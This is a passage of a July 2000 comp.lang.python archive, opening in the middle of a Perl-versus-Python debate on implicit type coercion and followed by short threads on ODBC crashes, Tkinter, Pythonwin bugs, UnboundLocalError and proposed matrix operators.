data it couldn't really make sense of. I mean, there's no reason 
'foo' would be 0, '1foo' is 1, and 'foo1' is 0 again. Right?

I don't see how you dont 'get blown out of the water'; it seems worse --
you get input that is not a number, and Perl just happily continues
with your calculations. So you have to make sure your input is a number
*anyway* if you want to calculate things, so why not complain in the
first place when you run into something that doesn't seem to make sense.

Anyway, I'm sure we won't be able to budge each other from our
position on this. :)

>  OTOH, in Perl, if you meant to do a string addition
> there is a different.syntax.for.that.  Because of this you know that "foo"
> doesn't equal anything, IE, 0.

0 *is* a legitimate number, you know. I know there's a different syntax for
concatenating strings in Perl.

>>What if your data is "foo" and you add them together? What if
>>the user gave some input and you don't *know* what the user entered?

>     Then that would be a user error, wouldn't it?  You can check for those
> things.  If you're relying upon user input you don't need type checking to do
> it.

Yes, but in Python at least the program doesn't try to do things when you
forgot to check the user input properly. And that increases the chances
you'll find the bug in the first place.
  

> python:
> try:
>   b = b + 1
> except TypeError:
>   print "Numbers, stupid, not letters."

> perl:
> unless (int($a)){
>   print("Numbers, stupid, not letters.\n")
> }
> $a++

This code doesn't seem to be equivalent, though. In Perl if 'a' is a 
string-that-when-striped-of-whitespace-does-not-start-with-a-number you'd
get 1 (I think?), and in Python 'b' remains unchanged.

And if I forgot the 'unless' in Perl (though it doesn't matter in this 
code fragment :), I'd get 1, and in Python it'd get a bug. So I know I
need to change my code to do a check.

>     The difference comes when you do something like this:

> (/^(\d{1,2})[Dd](\d{1,3})$/ || /^(\d{1,2})[Dd](\d{1,3})([\+\-])(\d{1,2})$/) 

I don't know what you mean here. I never do anything like that, I'm
happy to say. :)

>     Perl or Python, doesn't matter, you should be able to read it.

I'm not able to read it.

> Simple regular expression to take die codes from RPGs (3D6+3, for example)
> and break it down into the component parts regardless of their being a
> modifier to the actual dice rolled.  What does this sample show?  Same
> thing that the previous one did.

I'd probably solve that in a more verbose way myself. 
 
[snip regex example]

So you're saying, since I know those particular groups are numbers anyway
by necessity, it makes no sense to require explicit conversion (with
int() in Python) to numbers of those things. I just want to use them
as numbers right away. Did I understand that correctly?

The problems arise if you made either a mistake in your regular expression
so what's being returned happens not to be a number (but you expected it
to be), or when the regex is fine but you confused which variable contained
what result.

As your program proceeds and for instance throws the dice, it'll try to use
those variables as numbers, but since they're other strings, you'll eventually
get strange answers (such as 0). And then presumably you'd have to search
what part of your program is wrong. In Python you'd know pretty quickly 
that you got strings instead of numbers, and so you know what to fix.

>>I think in your case you usually need to remember what type your data
>>is *anyway*, and what's worse you need to know what will happen to your
>>data for various cases:

>     Assumption: that data checking cannot be performed by the programmer.  

That wasn't the assumption. I said the exact opposite, you need to 
remember what type your data is *anyway*. In order to do that you need
to check the data if it is input.

>     False assumption, I've given two examples where the data will be what I
> want because I have made the appropriate checks.

That's the point; you need to do that anyway. It doesn't take you that much
effort to do the right kind of conversion (to an integer) afterward; as you're
checking anyway. And it catches the bugs more quickly, I'd think?

>  One comes right from the
> program that I am porting to Python to learn Python.  In fact, that program
> relies on user input every step of the way yet I've not had any problems
> performing the operations I want to perform on the data.

>>This may become quite unobvious in various cases, and may happen by
>>accident, right?

>     Doesn't mean the programming language should barf on it.

But if the language barfs and tells me where it barfed and why, I can
more easily fix the bug, right?

>  I am of the
> opinion that a /lot/ more operations are performed where a lack of type
> checking is a virtue than a bane.  I really dislike having to explicitely
> declare data as a certain type just for an operation,
> especially after having programmed in a language where such is not
> required and especially if I have
> control of the dataflow throughout the entire course of its life.  Not only
> does this cause problems for simple operations like extracting numbers with
> regex to be manipulated with mathematics, but also internal data structures
> where the author is defining things on the fly and needs to perform both
> string and numerical operations on, say, the keys of a hash/directory.

>>Though I understand the case for genericity, I don't really see it here.

>     I see it the other way.  Though I understand the case for typing, I rarely
> see a case where it is actually useful and, in fact, many cases where it is a
> bane.  I'd much rather have to deal with the few cases when they arise than
> the many cases when they arise.  For example, mathematics which require
> roll-over at a certain number (unsigned int, for example).  This is more so in
> a language which does have certain cases when types can change (int versus
> float, for example) and the initial type is implicitly stated but requires an
> explicit declaration to change that implicit type.  

>     Either have all types be immutable regardless of context unless explicitly
> stated or have all types mutable as best as possible based on context with the
> option of explicit typing.  The half-and-half is just as confusing as a lot of
> what a lot of Python pundants dislike about Perl.  Just like lists and
> directories (does that include tuples?  I forget) being referenced but the
> "single" data types (integer, character, I believe string, not sure) being
> copied.

This is a common misconception. *everything* in Python is always, always,
references. It is just that certain data types (integers, string, tuples) are 
immutable; you cannot change them. So the semantics are the same as 
copy semantics.

>  That is no less magical and confusing than,

It may be confusing, but it's definitely not magical. The rule is one of the
simplest I've seen, actually. :)
 
> say, using an implicit $_
> in a foreach loop or constructing a data loop from @lines into %lines using
> $line to do it.  $lines{$line} = $line[$line] is always fun to bedazzle
> newbies, isn't it?  No different than implicit typing, IMHO, except here I do
> have cues as to what is a scalar, a hash and an array.

>>But what if that makes no sense? What if I entered 'foo' in the config
>>file where I needed to enter a number? Won't you get a weird bug now?

>     OK, go ahead and do it in Python, what do you get?  An exception.

>     Do it in Perl, what do you get?  The /possibility/ of odd behavior.

Isn't that worse than the program giving up? Especially when I'm trying
to debug things. Obviously the right thing in both languages is to *check*,
and if you're checking anyway I don't see what the disaster is of doing
int() somewhere in your checking function. Especially because it points it
out to you if you forget.

[snip]
>     And that is the whole point.  In both cases you have to do error checking.
> The difference is that with the implicit types enforced it gets in the way.
> I'd much rather the language assume I am smart enough do to my own checking
> and assured that the data is valid than to assume I'm too stupid to do it and
> crap the program out when something doesn't match what it /thinks/ is invalid
> even though I have taken pains to ensure it is.

But you haven't; you haven't told the system it's a number yet. :) That's
the _only_ extra step you need to take. The system is too stupid to figure
it out very well on its own anyway, so why not tell the system explicitly?

Anyway, this whole debate is silly as philosophically Python and Perl are
very close in depending on the intelligence of the programmer. Python assumes
a bit less intelligence, I'm glad to say. I'm not intelligent enough to
do regular expressions a lot, for instance. :) But compared to language
that does static type checking the difference is so minimal.

>>This script won't do anything.

>     Thank you for so stating the obvious, especially when I provided the
> interactive mode right after it.

Interactive mode (I think it explains in the tutorial) gives you the output
of expressions as a result always. 

>>I imagine the reason Python doesn't complain here is that it can treat
>>expressions as statements, and that sometimes this makes sense, such
>>as when there's a function call:

>     The problem is, outside the context of interactive mode what good does it
> do?

I just gave you the example of the function call, right? That's what good
it can do:

foo()

is an expression, just like 1 + 1 is. foo() definitely makes sense, right?

>  Nothing that I can think if.  Have you made calls for Python to check for
> such things just as it checks implicit types? If not, why not?  In both cases
> the assumption is that the programmer does dumb things and should be babysat.

Okay, I rarely run into this type of thing, so I haven't made calls for it.
I think it's fairly difficult to add this, as you never know whether the
user didn't mean to place an expression there that does a function
call, which does make sense. So you'd need to check whether your expression
is a function call and supress the complaint if that happened. Perhaps
that would be interesting if it doesn't break anything else.

Anyway, perhaps you're right and you don't run into this type of problem
very often as you take care to do checking and your checking code doesn't
have too many bugs in it. I myself like this particular safety net,
and also the absense of lots of ambiguity in the case of adding something
together when the something involved is not a number. But I'm sure I could
learn to live with it.

>>I'm not claiming we want to be strict about things at all times. If
>>I thought that I wouldn't be using Python. I was claiming that 'guessing'
>>what a line of code is supposed to mean can be bad. I mean, really:

>>"foo1" + 1 # 1
>>"1foo" + 1 # 2
>>"1" + 1 # 2
>>" 1" + 1 # 2
>>"\n1" + 1 # 2
>>"1*2" + 1 # 2

>>Are you sure this never gives you any odd output?

>     Positive.  Because you have made the base assumption that the only way to
> check data is for the language to do it instead of the programmer.

No, my entire point was that you need to know what your data is *anyway*.
You need to know that something is an integer anyway, so why not simply
tell the computer what's going on? I'm *not* saying the language should
do the checking. It can't; even though Perl tries.

> I know what data I am passing, I don't need type checking in an implicit
> system to provide annoyances all over the place for the off chance that
> I /might/ goof up.  Quite a Libertarian view, innit?  In a sentence.

>     LET ME MAKE MISTAKES!

And when you make them, let the system complain loudly! I just don't
see the annoyances in this case. I do see the annoyances of static type
checking. If you want the system to shut up about your mistakes,
you can always do this in Python:

try:
   a = a + 1
except:
   pass

But at least you're saying explicitly here that the system is shutting up
about your mistakes.

>>No, giving up in the face of ambiguity versus guessing. Ambiguity tends
>>to arise when I'm doing something wrong; if I did it right it wouldn't
>>be ambiguous code. Besides, I wouldn't want to read such code even
>>if it did the right thing; confusing.

>     What ambiguity?  Data is data.

"foo" is not 0 to most people. "1foo" is not 1 to most people. What's more,
"one" *is* 1 to most people and "2*2" means 4 to most people. Lots of
ambiguity here. Where does the computer stop in trying to make sense of it?
The computer is stupid after all.

> I don't find it confusing when you unlearn
> the concept of types.  I mean, how many people out there who program in other
> languages consider Python confusing because whitespace is used for block
> declaration instead of {} or BEGIN/END or whatever other block declaration is
> out there.  

>     If your mind can wrap itself around the concept of a lack of braces for
> block declaration then there should be no problem unlearning the concept of
> data "types".  

The problem is that there is no unambiguous way to do numerical addition of
strings. You use the concept of numbers versus non numbers in Perl too; you
*have* to check for this in the face of unpredictable input. Since you're
using this concept, why not explicitly tell the machine about it?

The answer is; you're not because of convenience. And that's fine; Python
does that a lot in other places (all over its OO system, for instance). 
It's just that I'm not convinced that treating numbers and strings as the
same thing *is* convenient.

>>In Python there are tons of ways to do it too. :)

>     So long as you tell it explicitly what you want even though its ambuigity
> on the implicit typing is what cause the problem in the first place?

No, you probably don't realize how limited this kind of implicit typing
in Python really is. It doesn't exist in it's OO system!

class Cow:
    def make_sound(self):
        print "moo!"

class Chicken:
    def make_sound(self):
        print "cluck!"

mycow = Cow(); mychicken = Chicken()

a = mycow # or: a = mychicken
a.make_sound()

This works. I didn't need to tell the system that 'a' is a cow or a chicken
or an animal that can make sounds. The Cow and Chicken classes have nothing
to do with each other; no inheritance, no explicit interface, nothing.
The only thing they have in common is a make_sound() method.

> I'm
> sorry, but I do not consider data confusing unless it is typed.  I see 1 and I
> am confused why I can't add it to 2.  I don't /care/ if it is a char, string,
> integer or floating.  It is 1 to me.

Sure, but what about "one" and "foo"? I don't see "foo" and think I can add it.

>>Because I wasn't arguing for 'strict checking'; I was arguing not checking
>>until the *last moment*, and if that makes no sense, give up.
>>(unless you catch the exception, of course)

>     Which makes no sense without declarations up front since you are allowing
> ambiguity, to use your term, from the onset.

>     Python: You need to know what data type it spews out for each operation.

>     Perl: You need to know what the data contains.

>     Either way, you got ambiguity.  

Sure, but Python gives up in the face of ambiguity. It doesn't try to
continue and infect the rest of the system with more ambiguity.
(though again, this debate is very limited! Look at Python's OO system)

>     As for catching the exception I'd much rather check the data first, thank
> you.

You can do that in Python too. I tend to prefer that as well.

>>Not in OO code:

>     Funny, we have implicit typing in OO code that causes problems later in
> the code.  So yes in OO code.

What implicit typing? I don't understand what you mean at all.

>    
>>That works, as the check at the last moment could figure it out; there was
>>such a method, so it executes it. Now if 'doit()' was absent and the system
>>started guessing, we'd be in trouble, right?

>     This is not, however, data.  Methods are functions, if there is nothing to
> call, there is nothing to call.  1 is data, be it integer, float, char, string
> or any other name you want to give it.

1 is data with operations. Just like an object is data with operations.
In Python, 1 is an object. See the end of my post.

>>So I don't need to know about what happens when I do "1foo" + 1?
>>Or "foo1" + 1? Or "foo1" - 1? Presumably I'd need to check my user
>>input *anyway*, right?

>     Yup, that is exactly what you should be doing and if you were doing it
> properly then you'd not have to rely upon the language to do it for you.  

Yes, but if I'm not doing it properly at least the language will complain
so I get a broad hint I do need to do it properly. :)

>     As I said, you're trading knowing what a certaion operation does with
> certain data versus having to know what type of data a certaion operation
> spits out at you.  

Yes, but they're not equivalent. Imagine we have 5 binary operators and
5 types of data. In Perl you can use any type of data with those operators,
and Perl will figure it out. That means I have 15 possible combinations
that I need to know about (whether they make sense or not, such as
adding together non-integer data). Now let's imagine a simple Python case,
where you can use all 5 operators for each type, but you can't mix
types. That means I need to know what Python does with only 5 combinations;
the rest of the cases, Python will complain.
 
>>> Not that hard to remember.  Much easier, in fact, that having to
>>> remember to declare everything from the onset or declare it each time you
>>> need to use it in a particular context much less having to put in checks
>>> in case you're trying to declare something into something which it cannot
>>> be morphed into.

>>But in Python you don't need to declare at all. You just need to explicitly
>>say sometimes you want something changed into something else. If you
>>want an integer, change your string into an integer. Do it early on if
>>you don't want to do it everywhere and work with integers from then on.

>     Thank you for ignoring what I said.

My apologies, what did I ignore? I didn't get the impression you read
what I was saying all the time either. :)

>  First off, in Perl I don't have to
> declare at all as a rule and only need to worry about the exceptions.  In
> Python it is the reverse, I need to declare as a rule except for the
> exceptions.

Huh? Where in Python did you find your declarations? I'm confused.

>  Furthermore if I need to change my string into an integer I need
> first check to make sure it is a string /THEN/ I can convert it to an integer.
[snip]

Well, because it doesn't really make a lot of sense if you want to convert
something to an integer when Python can't figure it out. If you're so
sure of yourself, you can always do:

try:
   a = int(b)
except ValueError:
   a = 0

>     This causes problems when using a regex that has an or that can match
> different numbers of groups based on which or hits because any conversions on
> any group that didn't hit now needs to be encapsulated in either a
> try/except|finally block or an if.

All right; this just doesn't happen very often in my code. Generally because
I can expect a certain regularity in my input. If my input is less regular
than I expected, I get exceptions. That gives me a nice indicator that my
expectations were off.

>  You might like littering your code with
> try/except and ifs which are only needed because the type checking isn't
> allowing you to do things you should be able to do but personally I don't.  I
> find it foolish that I need to check a variable to make sure it exists so I
> can type it to integer when I know an integer is going into it in the first
> place!  In short a regex which returns a number turns into...

In that case you don't need to do any checking, obviously. You have a 
regularity in your data so you just do something like:

a = int(a)

[snip example]

Though I may be missing something about regular expressions here and
I'm goofing up?
 
[snip]
>>The funny thing is that in Python this happens, and I'd agree with you,
>>but it tends to happen more often for class instances

>     Except I don't consider instances data.  They are structure or commands,
> not data.

I consider both integers and strings and instances as *objects*. 
See the end of my post.

>>We aren't so far apart in that sense; we just disagree about how many
>>operations the basic datatypes should support. I personally never had
>>trouble with having to call int() excessively, for instance. If you
>>find you're doing that a lot in your code, something may be odd about the
>>design of your code.

>     I seriously doubt that.  All I'm doing is a basic regex match and
> assignment of the matched data.  I haven't gotten into making complex data
> structures yet in Python but I have a feeling the typing will get in the way
> since a lot of the times that I manipulate keys in a hash/directory I move in
> and out of numerical and string processing to get the job done.

Hm, why would you do that? Depends on the structure of your keys. You can
use numeric keys in your Python dictionary just fine.

>>Note also that in your case, the only thing you're complaining about is
>>that Python treats numbers and strings differently; Python doesn't care much
>>whether your number is an integer or a float or a long integer, for instance.
>>It doesn't distinguish between characters and strings either. The only
>>addition to your type pantheon would seem to be the string/number
>>dichotomy and the list/tuple dichotomy, nothing else. :)

>     Hmmm, but you forget, lists, tuples and hashes are not data, they are
> structure.

They're all objects. :)

>  Hashes and arrays are not data, they are structure.  Classes that
> hold only data are not data, they are structure.  Classes, in fact, to me, are
> just structures that hold either functions (renamed to methods) or data.

>     You have different types of data.  I have, conceptually, data, commands
> and structure.  What /form/ those take and what semantics assigned to them
> vary from language to language but the concepts to me are quite clear.

I have objects (and some functions). Not all objects support all operations.

[snip]
>     Lists, arrays, hashed, directories, classes, structs, etc, etc, etc are
> all organizational in nature.

In Python, they're objects just like there rest of them.

>  OO has the distinction of having the ability to
> apply those organizing constructs to commands and not just data.

>     Operations, functions, prodecures, methods.  All manipulate the data.  The
> do something.  In OO they can be organized.

But an integer can be seen as an object with methods as well. A string
too (Python 2.0 will actually allow you to use string methods). In fact,
I can make a new type of object in Python that behaves much like your
Perl scalars:

import string
import re

class Scalar:
    def __init__(self, data):
        self.data = magic(data)
        
    def __add__(self, other):
        return Scalar(self.data + other)

    def __radd__(self, other):
        return Scalar(self.data + other)
    
    def __sub__(self, other):
        return Scalar(self.data - other)

    def __rsub__(self, other):
        return Scalar(other - self.data)
    
    def __mul__(self, other):
        return Scalar(self.data * other)

    def __rmul__(self, other):
        return Scalar(other * self.data)
    
    def __div__(self, other):
        return Scalar(self.data / other)

    def __rdiv__(self, other):
        return Scalar(other / self.data)
    
    # (not all possible operations implemented)
    
    def __coerce__(self, other): 
        return self, magic(other)

    def __str__(self):
        return str(self.data)
    
def magic(d):
    """Magically convert d to an integer, whatever it may be.
    """
    if type(d) == type(1):
        return d
    d = string.strip(str(d))
    matches = re.match("(\d+)", d)
    if matches:
        d = int(matches.group(1))
    else:
        d = 0
    return d

# now let's use it:
print Scalar("1") + "1" # 2
print Scalar("2") - "1" # 1
print Scalar(3) * "4" # 12
print Scalar("12") + 2  # 14

i.e. any expression with a scalar object involved will try to treat any
operant as a number.

Of course this particular implementation has various disadvantages:

  * it's incomplete

  * it's likely buggy

  * it's slow (could be solved by a C implementation though)

  * no operators for string concatenation exist by default in Python;
    we'll either have to coopt an existing operator or provide functions
    to do concatenation.

I even used a regular expression. :)

There's-more-than-one-way-to-do-it--ly yours,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From musingattheruins at my-deja.com.bbs  Mon Jul 17 17:10:02 2000
From: musingattheruins at my-deja.com.bbs (musingattheruins at my-deja.com.bbs)
Date: 17 Jul 2000 21:10:02 GMT
Subject: Again: ODBC / Win98 -> crash
Message-ID: <3bRPRQ$lPc@openbazaar.net>

i have installed the most recent mdac 2.5 and now cannot connect to any
DSNs with ADO!!! and cannot make DSN-less connections with ADO!!!

  tried rolling back to 2.1 (nope... component checker reports v 2.5)
+ re-install 2.5
+ re-install python 1.5.2
+ re-install python win32 all
+ try again
--------------------------------
 NFG

no solution yet... _if_ i find one i will post it.

bill :-(

> >Now for a really strange thing: I just moved my script to a different
> >computer (almost identical configuration), and... - everything works
> >just fine! No crashes, no problems whatsoever. I hate computers.
>
> Maybe the machine it crashed on had Office 2K installede recently ???
and
> the one that doesn't crash hasn't or something like that. The
combination of
> Win2k, Office2000/97 has caused me no end of grief.
>
> Try installing the newest version of mdac on your machine. (should
not be
> needed on win 2K).
>
> Also check your security settings and r/w acces. Combinations of
these two
> has helped me before.
>
> Regards Max M
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From jhe at webde-ag.de  Thu Jul 20 04:15:28 2000
From: jhe at webde-ag.de (Jürgen Hermann)
Date: Thu, 20 Jul 2000 10:15:28 +0200
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com>
Message-ID: <8l6cbp$fgr$1@pollux.ip-plus.net>

"Michal Wallace" <sabren at manifestation.com> schrieb im Newsbeitrag
news:Pine.BSF.4.10.10007191838040.26945-100000 at chi.pair.com...
> I accidentally deleted the list of proposed names for "zip()", so I'm
> not sure if this was alrady mentioned..  I think merge makes sense,
> (and I don't really have a problem with zip()), but the metaphor that
> most closely resembles what it does is braid(), as in hair..

I do have a problem with zip, namely that I think of compression first (and
I did when i first read about zip(), and wondered what the hell it had to do
with sequences).

merge() is the best yet, since it's a common (programming) term with a
well-defined meaning. Don't forget EnglishAsA2nd speakers, which won't know
what "braid" is all about, but are likely to know merge.

OK, to add some confusion, paste() would be possible too (compare to the
UNIX command).

Bye, J?rgen




From no at bo.dy  Fri Jul 21 00:04:32 2000
From: no at bo.dy (nobody)
Date: Thu, 20 Jul 2000 23:04:32 -0500
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <upuo9h97v.fsf@ctwd0143.fitlinxx.com> <E7td5.21925$DZ4.71373@news.corecomm.net> <slrn8nd7dp.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl>
Message-ID: <HZOd5.25114$DZ4.84522@news.corecomm.net>

scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich), in
<slrn8nd7dp.gtf.scarblac-spamtrap at flits104-37.flits.rug.nl>:

> import fileinput
> for line in fileinput.input("somefile"):
>    process(line)

ah, many thanks! i'm still spelunking my way around the standard
library; gems like this seem to be lying around all over it. :-)



From "rod" at REMOVETHISinf.bme.hu  Mon Jul  3 10:24:26 2000
From: "rod" at REMOVETHISinf.bme.hu (Gabor Papp)
Date: Mon, 03 Jul 2000 16:24:26 +0200
Subject: tracing a variable
References: <395BEC23.9A3097F0@uniserve.com>
Message-ID: <3960a227@news.caere.com>

there's a trace method of tkinter variables.
use like var.trace(ops, callback)
'callback' is called if 'var' is accessed in one of
the ways given by ops. operations are the same as in
tk ('w', 'r', 'u').
Gabor


From olivierS.dagenaisP at canadaA.comM  Sun Jul 23 16:03:35 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sun, 23 Jul 2000 20:03:35 GMT
Subject: IDLE window disappears - more info
References: <397A3EEA.792BDDEB@helicon.net> <1use5.617$Gh.13635@news20.bellglobal.com> <397AFD92.7F17FFD1@helicon.net> <397B0D93.6A5EE7CB@helicon.net>
Message-ID: <rcIe5.9147$Gh.74143@news20.bellglobal.com>

The Python binary might be in your path, but maybe the libraries aren't?

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Rodney Loisel" <rloisel at helicon.net> wrote in message
news:397B0D93.6A5EE7CB at helicon.net...
> Changed the DOS properties not to close on exit
> the following is the result of
> import Tkinter
> several levels of error
> last:
> DLL load failed: one of the library files
> needed to run this application cannot be
> found.
> rloisel
>




From horst at proceryon.at.bbs  Tue Jul 18 01:30:03 2000
From: horst at proceryon.at.bbs (horst at proceryon.at.bbs)
Date: 18 Jul 2000 05:30:03 GMT
Subject: Best way to switch  between different view
Message-ID: <3bRcSR$mve@openbazaar.net>

Hi all!

In my application there are three different kind of views. Each of them
has to be displayed in the same main window. Two of them are scrolled
canvases and one is a scrolled frame (all of them with many widgets
inside).

What is the best way to handle this different views? At the moment I
completely destroy one view and rebuild the new one but there must be a
better way. Some time ago I have read something about an unpack method
to hide a widget. Could this be the best way to do this?

Thanx in advance
Horst


From smigowsky at dspace.de  Thu Jul 20 08:24:44 2000
From: smigowsky at dspace.de (Stefan Migowsky)
Date: Thu, 20 Jul 2000 13:24:44 +0100
Subject: Pythonwin attribute expansion
Message-ID: <326536345498D311B3BC00105A39802A0747A7@newsintern.dspace.de>

e.g.

try:
    items = items + dir(ob.__class__)
    for i in ob.__class__.__bases__:
        items = items + dir(i)
except AttributeError:
    pass

 Stefan

>-----Original Message-----
>From: Mark Hammond [mailto:MarkH at ActiveState.com]
>Sent: Thursday, July 20, 2000 12:15 PM
>To: python-list at python.org
>Subject: Re: Pythonwin attribute expansion
>
>
>Let me try this again...
>
>It's a bug.
>
>If you would like to fix it, look in pywin\scintilla\view.py, 
>and locate
>the _AutoComplete() method.  The line:
>
>     items = items + dir(ob.__class__)
>
>Is at fault - dir() doesnt search sub-classes.  Simply make this line
>smarter, by iterating over ob.__bases__
>
>Mark.
>
>
>
>-- 
>http://www.python.org/mailman/listinfo/python-list
>



From tim_one at email.msn.com  Wed Jul 12 19:04:49 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Wed, 12 Jul 2000 19:04:49 -0400
Subject: What is UnboundLocalError for?
In-Reply-To: <etdhf9vt1xf.fsf@w20-575-115.mit.edu>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEKJGJAA.tim_one@email.msn.com>

[Alex]
> (Python 2.0 question.)
>
> I was wondering what situations the UnboundLocalError exception is
> intended to be thrown in.

When a local name is referenced but has not been bound to a value.  In other
words, it's an unbound local error <wink>.  Note that UnboundLocalError is a
subclass of NameError, because it's a more specific form of NameError, so
old code expecting to catch NameError exceptions will still catch
UnboundLocalError exceptions.  In 1.5.2 and before, NameError was thrown
regardless of whether the offending name was local or global.  So
UnboundLocalError gives more information.

> I encountered it when I made a mistake like this:
>
> >>> f()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "<stdin>", line 1, in f
> UnboundLocalError: l
> >>>

So your function f (which you have not shown us) refers to a local name "l"
which you didn't give a value before referencing it.  It's impossible for us
to guess what you put in the body of f; here's one possibility:

>>> def f():
...     l = l + 1   # local "l" referenced on the right before definition
...     return l
...
>>> f()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 2, in f
UnboundLocalError: l
>>>

> This was much more confusing to me than a simple NameError, which is
> what python 1.5 throws for the same mistake.  Perhaps I'm biased,
> though.

Sounds more like it's simply not exactly what you were used to before
<wink>.





From kirill_simonov at mail.ru  Fri Jul 14 02:16:49 2000
From: kirill_simonov at mail.ru (Kirill Simonov)
Date: Fri, 14 Jul 2000 09:16:49 +0300
Subject: Discussion: Introducing new operators for matrix computation
In-Reply-To: <slrn8msd14.sj.hzhu@localhost.localdomain>; from hzhu@localhost.localdomain on Thu, Jul 13, 2000 at 09:23:28PM +0000
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain>
Message-ID: <20000714091649.A932@xyz.donetsk.ua>

On Thu, Jul 13, 2000 at 09:23:28PM +0000, Huaiyu Zhu wrote:

> Doesn't this look like the other p language or lisp?  Well, my original post
> missed two parentheses and two matrixmultiply's and nobody even noticed it.
> If one cannot even write X\y in one line, think about how to write a typical
> formula like
> 
> B = inv(A) - A\U/(C+V/A*U)*V/A

You can use '%' for right division.
It has the same precedence as '/', and remainder operator
doesn't occur too often in linear algebra.

And don't forget about '~', '|', '^', and '&'.

--
Kirill



From aahz at netcom.com  Fri Jul  7 11:56:09 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 7 Jul 2000 15:56:09 GMT
Subject: Comparing 2 class types
References: <L2k95.37383$NP5.1176274@newsread2.prod.itd.earthlink.net>
Message-ID: <8k4uip$v0i$1@slb6.atl.mindspring.net>

In article <L2k95.37383$NP5.1176274 at newsread2.prod.itd.earthlink.net>,
Arint? <shouldbe at message.com> wrote:
>
>How can you know if a 2 variables are different instances of the same class?
>x = someclass()
>y= someclass()
>I tried is, type, and type(x)  is someclass, but none seem to work unless I
>did it wrong.

In addition to Jepler and Jeremy's responses, you need to also use "is"
to find out whether it's a *different* instance of the same class:

class foo:
  pass
a = foo()
b = foo()
c = a
print a is b
print a is c
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"do you want my self-identities alphabetically, chronologically, or in
random order?"  -- Misha


From alex at magenta.com.bbs  Mon Jul 17 18:20:03 2000
From: alex at magenta.com.bbs (alex at magenta.com.bbs)
Date: 17 Jul 2000 22:20:03 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRRJ3$k0A@openbazaar.net>

"Kevin Jacobs" <jacobs at darwin.epbi.cwru.edu> wrote in message
news:8kvocr$5mq$1 at eeyore.INS.CWRU.Edu...
    [snip]
> Silly idea 1:
>
>   Until add-on Python grammar modules are available, what about a
PyAlgebra
>   evaluator module.  For a precedent, see regular expressions.  The
>   difference is that linear-algebra syntax can be made too Python-like for
>   some tastes.
>
>   e.g.:
>
>   import PyAlgebra
>
>   PyAlgebra.run(r'A = (A .* B)\C')
>   e = PyAlgebra(r"D = A'*B")
>   e.run() # or e()
    [snip]
> Feel free to chime in!

Seems to me we could do better (in terms of concision) along
the general idea of KJSI1.  As PyAlgebra is basically just
parsing arbitrary syntax into (presumably) some suitable
Python function-like object, what it returns from parsing a
string could well have free variables just as well as bound
ones.

Free variables (to be bound at evaluation-time either by
name or positionally) might be the syntactic default, with
some special marker for parsing-time-bound variables.  Or
maybe the difference need not be know at parse-time.  And
I think this should be an expression-evaluator, only -- no
assignment -- dunno, it seems smoother to me... sort of:

    from PyAlgebra import parse

    expr = parse(r'(Left .* Right)\Divisor')
    Result = expr(Left=X, Right=Y, Divisor=Z)

being equivalent to something like:

    Result = X.dotProduct(Y).rightDiv(Z)


Is there anything that stands in the way of implementing this
sort of thing right now?  Is it much of an improvement?  Would
smoother integrated syntax sugar such as

    Result = (X .* Y) \ Z

be perceived as hugely better than

    Result = whatever(r'(X .* Y) \ Z')

???


I dunno -- I perceive no loss by having RE isolated in such
a way, rather than merged into the language's syntax as in
Perl; indeed, I personally perceive it as an advantage, for
all that RE's are something I use SO frequently.  But then,
I'm not the target-audience for this sort of thing, I guess.
So I can hardly judge how that target-audience would react.


Alex


From m.faassen at vet.uu.nl  Sat Jul 29 13:25:32 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 29 Jul 2000 17:25:32 GMT
Subject: Python luddites (was Re: Type inference now simplicity)
References: <8lktiq$rgv$14$1@news.t-online.com> <Plsf5.12114$4p3.94007@news-server.bigpond.net.au> <397F5410.6D9D317A@uab.edu> <20000727104408.A10021@inkontact.com.au> <39808e81.145010138@news.telus.net> <m3em4edwot.fsf@greebo.nodomain.de>
Message-ID: <8lv42c$ah0$1@newshost.accu.uu.nl>

Bernhard Herzog <herzog at online.de> wrote:
[snip]
> I think we can reconcile both viewpoints, namely "new operators violate
> python philosophy" vs. "new operators are useful", by introducing just
> one new operator. This new operator guesses what the progammer wanted
> and is used like this:

> 	A ;;>> B

> This new operator is pronounced "wink-wink-nudge-nudge" or
> "do-whaddaye-mean-do-whaddaye-mean" (although this might be a tad too
> Perlish).

I think the 'grok' statement (considered for Python 3000) is much more
Pythonic:

if cant_figure_it_out_anymore:
    grok:
         well fix it
else:
    grok:
         also make it run faster

and so on.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From Wolfgang.Strobl at gmd.de  Mon Jul 17 07:36:01 2000
From: Wolfgang.Strobl at gmd.de (Wolfgang Strobl)
Date: Mon, 17 Jul 2000 13:36:01 +0200
Subject: Pythonwin 132: Letters with Umlaut cause problems
References: <8kuhnd$bh3$1@nnrp1.deja.com>
Message-ID: <flr5nskmh6hgiv3bu0ihnahq9e8kq4s7ck@4ax.com>

Norbert.Klamann at pobox.com wrote:

>Hello all,
>working with the new Build 132 of Pythonwin we have a minor problem.
>German Umlauts are not handled properly in the editor windows.
>They are shown as boxes, some of them seem to be dead keys.

And a major problem, the ^-key kills build 132 immediately, when using
the German keyboard layout.



-- 
